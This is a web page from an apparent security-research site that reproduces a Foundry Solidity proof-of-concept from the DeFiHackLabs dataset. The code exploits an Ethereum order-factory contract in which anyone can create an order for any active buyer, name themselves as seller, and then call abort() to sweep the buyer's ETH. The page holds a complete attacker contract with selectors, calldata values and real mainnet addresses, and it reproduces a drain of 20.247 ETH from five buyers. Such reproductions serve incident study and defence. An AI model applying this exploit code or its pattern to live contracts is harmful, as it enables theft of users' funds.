Skip to content
THREATWIRE

Public reproduction file

src/test/2026-09/OrderFactory_exp.sol

Public reproduction file for dataset entry OrderFactory.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-09/OrderFactory_exp.sol178 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.19;
3
4import "forge-std/Test.sol";
5
6// Order-factory exploit — Ethereum. The factory's order-creation entrypoint (selector 0xbde886fc)
7// lets ANY caller create an order "for" an arbitrary buyer: it only checks that the buyer's request is
8// active (getState(buyer) == 1). It never checks msg.sender == buyer, takes no buyer signature/nonce,
9// and does not validate the attacker-supplied `seller`. The factory then pulls the buyer's FULL ETH
10// balance out of the Account System into a freshly created order proxy and writes the attacker-chosen
11// `seller` into the order's privileged slot. The attacker (as that seller) then calls the order's
12// abort(address) to sweep all of that ETH to itself. One transaction drains many buyers.
13//
14// Attack tx : 0x201c7a9b4114c76fcda2b5de5d765505f4c5f7c194dddf505043501de6cbbb1a (block 25933639)
15// Attacker : 0x77071d2bbd8f3c296c8cd7d0abd21bc172420cda (via helper contract 0xde26cf7c...)
16// Factory : 0xa27bcd590195b2a9bdc29379de4f040b2d8066e0 (Order Factory, unverified)
17// Account : 0xfcf3d97c6db4c3bf6020a2b99af074b595bda163 (Account System, unverified, holds buyer ETH)
18// Deployer : 0xdd3068d772764443e4c4b18b8c96aee153d83056 (creates each order proxy via CREATE)
19// Loss : ~24.7 ETH reported for the incident. This attack tx drained 5 buyers for 20.247 ETH
20// (10.05 + 5.05 + 3.05 + 1.547 + 0.55); the PoC reproduces exactly this tx and asserts
21// against 20.247 ETH. Matching the full ~24.7 ETH (other txs/buyers) is unnecessary.
22//
23// ROOT CAUSE — confirmed on-chain (all three contracts are unverified, so confirmed by the tx trace,
24// direct reads, and 4-byte-matched signatures rather than by source):
25// 1. getState(address)=0x1bab58f5 returns 1 (active) for each targeted buyer, and that is the ONLY
26// gate. createOrderForBuyer (0xbde886fc) is reachable by any address; in the real tx the attacker's
27// helper — not the buyer, and holding no buyer authorization — makes every call.
28// 2. The buyer's whole balance (accountBalances(buyer)=0x6ff96d17) is moved by the Account System into
29// the new order proxy: 10.05 / 5.05 / 3.05 / 1.547 / 0.55 ETH for the five buyers, exactly their
30// account balances.
31// 3. During order init the factory writes the attacker-supplied `seller` into the order's privileged
32// slot; the order's abort(address)=0x90cbfa19 authorizes against that slot, so the attacker (the
33// seller) passes the check and abort() forwards the order's full ETH to the address it names.
34//
35// ABI note: the factory is unverified so createOrderForBuyer's function NAME is unknown; the 9-argument
36// tuple below was recovered from the trace and re-encoded byte-for-byte against the real calldata, and
37// is invoked under the confirmed selector 0xbde886fc with real typed values (no calldata blob).
38// abort / getState / accountBalances are real names (their selectors match keccak of the name).
39//
40// Run:
41// forge test --contracts src/test/2026-09/OrderFactory_exp.sol -vvv
43address constant FACTORY = 0xa27BCD590195b2A9BDc29379De4F040b2D8066e0;
44address constant ACCOUNT = 0xFcF3d97c6Db4C3bF6020a2b99af074B595bDA163;
45address constant DEPLOYER = 0xDd3068d772764443E4c4B18B8c96AeE153D83056; // CREATEs each order proxy
46bytes4 constant CREATE_ORDER_SELECTOR = 0xbde886fc; // permissionless createOrderForBuyer entry
48interface IOrderFactory {
49 function getState(address buyer) external view returns (uint256);
52interface IAccountSystem {
53 function accountBalances(address account) external view returns (uint256);
56interface IOrder {
57 // Sends the order proxy's full ETH balance to `to`. Authorizes against the privileged slot that
58 // createOrderForBuyer set to the attacker-supplied seller.
59 function abort(address to) external;
62contract OrderFactory_exp is Test {
63 // The five buyers drained in the real tx, in order.
64 address[5] internal BUYERS = [
65 0x448F48d9149c3Eb7154019Efefa6A7Bf2BD58753,
66 0x8F7dB8128FAE33915d47709074E2391e37A71136,
67 0x5C8D3b20f52993C7f553Dd2bBf5d062b7CfC17D1,
68 0x9D8f6E98d6ebe13B424386677BCF4b80dB0c6729,
69 0x3eD7571B72ffBF0d44b741b49b597791b70e145D
70 ];
72 // Each buyer's order amount (createOrderForBuyer arg params[0]); the factory checks it against the
73 // buyer's own stored request, so it must match per buyer. Every other order-config arg is identical
74 // across buyers. Values taken verbatim from the real tx.
75 uint256[5] internal ORDER_AMOUNT =
76 [uint256(0x29a2241af62c0000), 0x4563918244f40000, 0x29a2241af62c0000, 0x2386f26fc10000, 0x6f05b59d3b20000];
78 OrderFactoryExploit internal exploit;
80 function setUp() public {
81 // Parent block of the exploit tx: real protocol/buyer state immediately before the attack.
82 vm.createSelectFork("mainnet", 25_933_638);
83 exploit = new OrderFactoryExploit();
85 vm.label(FACTORY, "OrderFactory");
86 vm.label(ACCOUNT, "AccountSystem");
87 vm.label(DEPLOYER, "OrderDeployer");
88 vm.label(address(exploit), "Exploit");
89 }
91 /// forge-config: default.evm_version = "cancun"
92 function testExploit() public {
93 // CONFIRM the only gate is the buyer's active state, reachable permissionlessly.
94 for (uint256 i = 0; i < BUYERS.length; i++) {
95 assertEq(IOrderFactory(FACTORY).getState(BUYERS[i]), 1, "buyer must be active (the only check)");
96 }
98 uint256 attackerBefore = address(exploit).balance;
99 uint256 expected;
101 for (uint256 i = 0; i < BUYERS.length; i++) {
102 address buyer = BUYERS[i];
103 uint256 buyerFunds = IAccountSystem(ACCOUNT).accountBalances(buyer);
104 expected += buyerFunds;
106 // The order proxy is created by DEPLOYER via CREATE; predict its address from the deployer's
107 // current nonce (exactly what an attacker does off-chain), then hand it to the exploit.
108 address order = vm.computeCreateAddress(DEPLOYER, vm.getNonce(DEPLOYER));
110 exploit.createForBuyer(buyer, ORDER_AMOUNT[i]); // permissionless create for an arbitrary buyer
111 exploit.doAbort(order); // sweep the buyer's ETH out of the order via the seller-gated abort()
113 emit log_named_decimal_uint("drained from buyer", buyerFunds, 18);
114 }
116 uint256 profit = address(exploit).balance - attackerBefore;
117 emit log_named_decimal_uint("total ETH drained", profit, 18);
119 // Profit is ETH swept out of the buyers' accounts into the attacker. Assert against this tx's
120 // total (20.247 ETH); the reported ~24.7 ETH spans the whole incident (other txs/buyers).
121 assertEq(profit, expected, "attacker must capture every targeted buyer's full balance");
122 assertGt(profit, 20 ether, "this tx drains ~20.25 ETH");
123 }
126// Named attacker contract: the malicious "seller". Calls the factory's real order-creation entry for an
127// arbitrary buyer with itself as seller, then aborts the created order to sweep the buyer's ETH.
128contract OrderFactoryExploit {
129 // Fixed order-config arguments carried by createOrderForBuyer, taken verbatim from the real tx. The
130 // factory validates the order args against the buyer's stored request, so `orderAmount` (params[0])
131 // is passed per buyer; the rest are identical across buyers. The ETH pulled is always the buyer's
132 // whole account balance, independent of these values.
133 address internal constant P2 = 0x3a5d6df61eC0A90E2cAd7af1FE3311cF1B8dc4da;
135 function doAbort(address order) external {
136 IOrder(order).abort(address(this));
137 }
139 function createForBuyer(address buyer, uint256 orderAmount) external {
140 bytes32[] memory symbols = new bytes32[](5);
141 symbols[0] = "BTC";
142 symbols[1] = "ETH";
143 symbols[2] = "XRP";
144 symbols[3] = "BCH";
145 symbols[4] = "XEM";
147 uint256[] memory prices = new uint256[](5);
148 prices[0] = 0x4a4aaf61436c;
149 prices[1] = 0x071afd498d0000;
150 prices[2] = 0x1769f313804ed6a0;
151 prices[3] = 0x03b81432872c72;
152 prices[4] = 0x4b91f9f55a59d220;
154 uint256[] memory params = new uint256[](10);
155 params[0] = orderAmount;
156 params[1] = 0xb1a2bc2ec50000;
157 params[2] = 0;
158 params[3] = 0;
159 params[4] = 0x7d0;
160 params[5] = 0x038d7ea4c68000;
161 params[6] = 0x278d00;
162 params[7] = 0xe10;
163 params[8] = 0x15180;
164 params[9] = 0x186a0;
166 // createOrderForBuyer(buyer, seller=this, P2, 0, this, symbols, prices, params, 0). Permissionless
167 // — only the buyer's active state is checked. Pulls the buyer's whole balance into `order` and
168 // writes this contract (the seller) into the order's privileged slot.
169 (bool ok,) = FACTORY.call(
170 abi.encodeWithSelector(
171 CREATE_ORDER_SELECTOR, buyer, address(this), P2, uint256(0), address(this), symbols, prices, params, uint256(0)
172 )
173 );
174 require(ok, "createOrderForBuyer failed");
175 }
177 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “OrderFactory” (2026-09-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x77071d2bbd8f3c296c8cd7d0abd21bc172420cda

  • Attack Tx

    0x201c7a9b4114c76fcda2b5de5d765505f4c5f7c194dddf505043501de6cbbb1a

File record

Name
OrderFactory
Path
src/test/2026-09/OrderFactory_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
8ee0763a9925bcf6305bc9e4058cd52c980e7f58
Language
Solidity
Size
179 lines
Date
2026-09-08
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-09/OrderFactory_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8ee0763a9925bcf6305bc9e4058cd52c980e7f58, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.